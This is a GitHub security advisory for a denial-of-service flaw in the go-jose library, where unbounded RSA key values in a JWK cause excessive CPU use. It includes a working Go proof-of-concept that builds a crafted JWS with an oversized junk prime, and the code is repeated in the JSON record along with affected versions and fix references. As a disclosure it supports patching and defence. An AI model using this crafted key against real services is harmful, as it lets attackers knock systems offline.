GHSA-MGCC-CWW5-FP2Q
Vulnerability from github – Published: 2026-10-27 19:01 – Updated: 2026-10-27 19:01Summary
A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.
Details
go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.
https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700
Proof of concept
No special configuration of go-jose is required to reproduce this vulnerability.
package main
import (
"encoding/base64"
"encoding/json"
"fmt"
"math/big"
"time"
"github.com/go-jose/go-jose/v4"
)
func main() {
// The RSA parameters can be complete junk. The CPU cost is in validating them.
primeBits := 16384
p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
p.SetBit(p, 0, 1)
n := new(big.Int).Lsh(big.NewInt(1), 2048)
e := big.NewInt(65537)
d := big.NewInt(3)
q := big.NewInt(3)
jwk := map[string]string{
"kty": "RSA",
"n": base64.RawURLEncoding.EncodeToString(n.Bytes()),
"e": base64.RawURLEncoding.EncodeToString(e.Bytes()),
"d": base64.RawURLEncoding.EncodeToString(d.Bytes()),
"p": base64.RawURLEncoding.EncodeToString(p.Bytes()),
"q": base64.RawURLEncoding.EncodeToString(q.Bytes()),
}
protected := map[string]any{
"alg": "RS256",
"jwk": jwk,
}
protJSON, _ := json.Marshal(protected)
jws := map[string]string{
"protected": base64.RawURLEncoding.EncodeToString(protJSON),
"payload": base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
}
jwsJSON, _ := json.Marshal(jws)
start := time.Now()
_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
elapsed := time.Since(start)
fmt.Printf("prime bits: %d\n", primeBits)
fmt.Printf("parse time: %s\n", elapsed)
fmt.Printf("parse error: %v\n", err)
}
Impact
Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.
Credits
Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.5"
},
"package": {
"ecosystem": "Go",
"name": "github.com/go-jose/go-jose/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-jose/go-jose/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-116587"
],
"database_specific": {
"cwe_ids": [
"CWE-407",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-27T19:01:30Z",
"nvd_published_at": "2026-10-26T22:16:55Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.\n\n### Details\n\ngo-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.\n\nhttps://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700\n\n### Proof of concept\n\nNo special configuration of go-jose is required to reproduce this vulnerability.\n\n```go\npackage main\n\nimport (\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"time\"\n\n\t\"github.com/go-jose/go-jose/v4\"\n)\n\nfunc main() {\n\t// The RSA parameters can be complete junk. The CPU cost is in validating them.\n\tprimeBits := 16384\n\tp := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))\n\tp.SetBit(p, 0, 1)\n\tn := new(big.Int).Lsh(big.NewInt(1), 2048)\n\te := big.NewInt(65537)\n\td := big.NewInt(3)\n\tq := big.NewInt(3)\n\n\tjwk := map[string]string{\n\t\t\"kty\": \"RSA\",\n\t\t\"n\": base64.RawURLEncoding.EncodeToString(n.Bytes()),\n\t\t\"e\": base64.RawURLEncoding.EncodeToString(e.Bytes()),\n\t\t\"d\": base64.RawURLEncoding.EncodeToString(d.Bytes()),\n\t\t\"p\": base64.RawURLEncoding.EncodeToString(p.Bytes()),\n\t\t\"q\": base64.RawURLEncoding.EncodeToString(q.Bytes()),\n\t}\n\n\tprotected := map[string]any{\n\t\t\"alg\": \"RS256\",\n\t\t\"jwk\": jwk,\n\t}\n\tprotJSON, _ := json.Marshal(protected)\n\n\tjws := map[string]string{\n\t\t\"protected\": base64.RawURLEncoding.EncodeToString(protJSON),\n\t\t\"payload\": base64.RawURLEncoding.EncodeToString([]byte(`{}`)),\n\t\t\"signature\": base64.RawURLEncoding.EncodeToString([]byte(\"not-a-real-signature\")),\n\t}\n\tjwsJSON, _ := json.Marshal(jws)\n\n\tstart := time.Now()\n\t_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})\n\telapsed := time.Since(start)\n\n\tfmt.Printf(\"prime bits: %d\\n\", primeBits)\n\tfmt.Printf(\"parse time: %s\\n\", elapsed)\n\tfmt.Printf(\"parse error: %v\\n\", err)\n}\n```\n\n### Impact\n\nDenial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.\n\n### Credits\n\nReported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)",
"id": "GHSA-mgcc-cww5-fp2q",
"modified": "2026-10-27T19:01:30Z",
"published": "2026-10-27T19:01:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116587"
},
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-jose/go-jose"
},
{
"type": "WEB",
"url": "https://github.com/go-jose/go-jose/releases/tag/v4.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Go JOSE: DoS when parsing JWKs that contain RSA keys"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.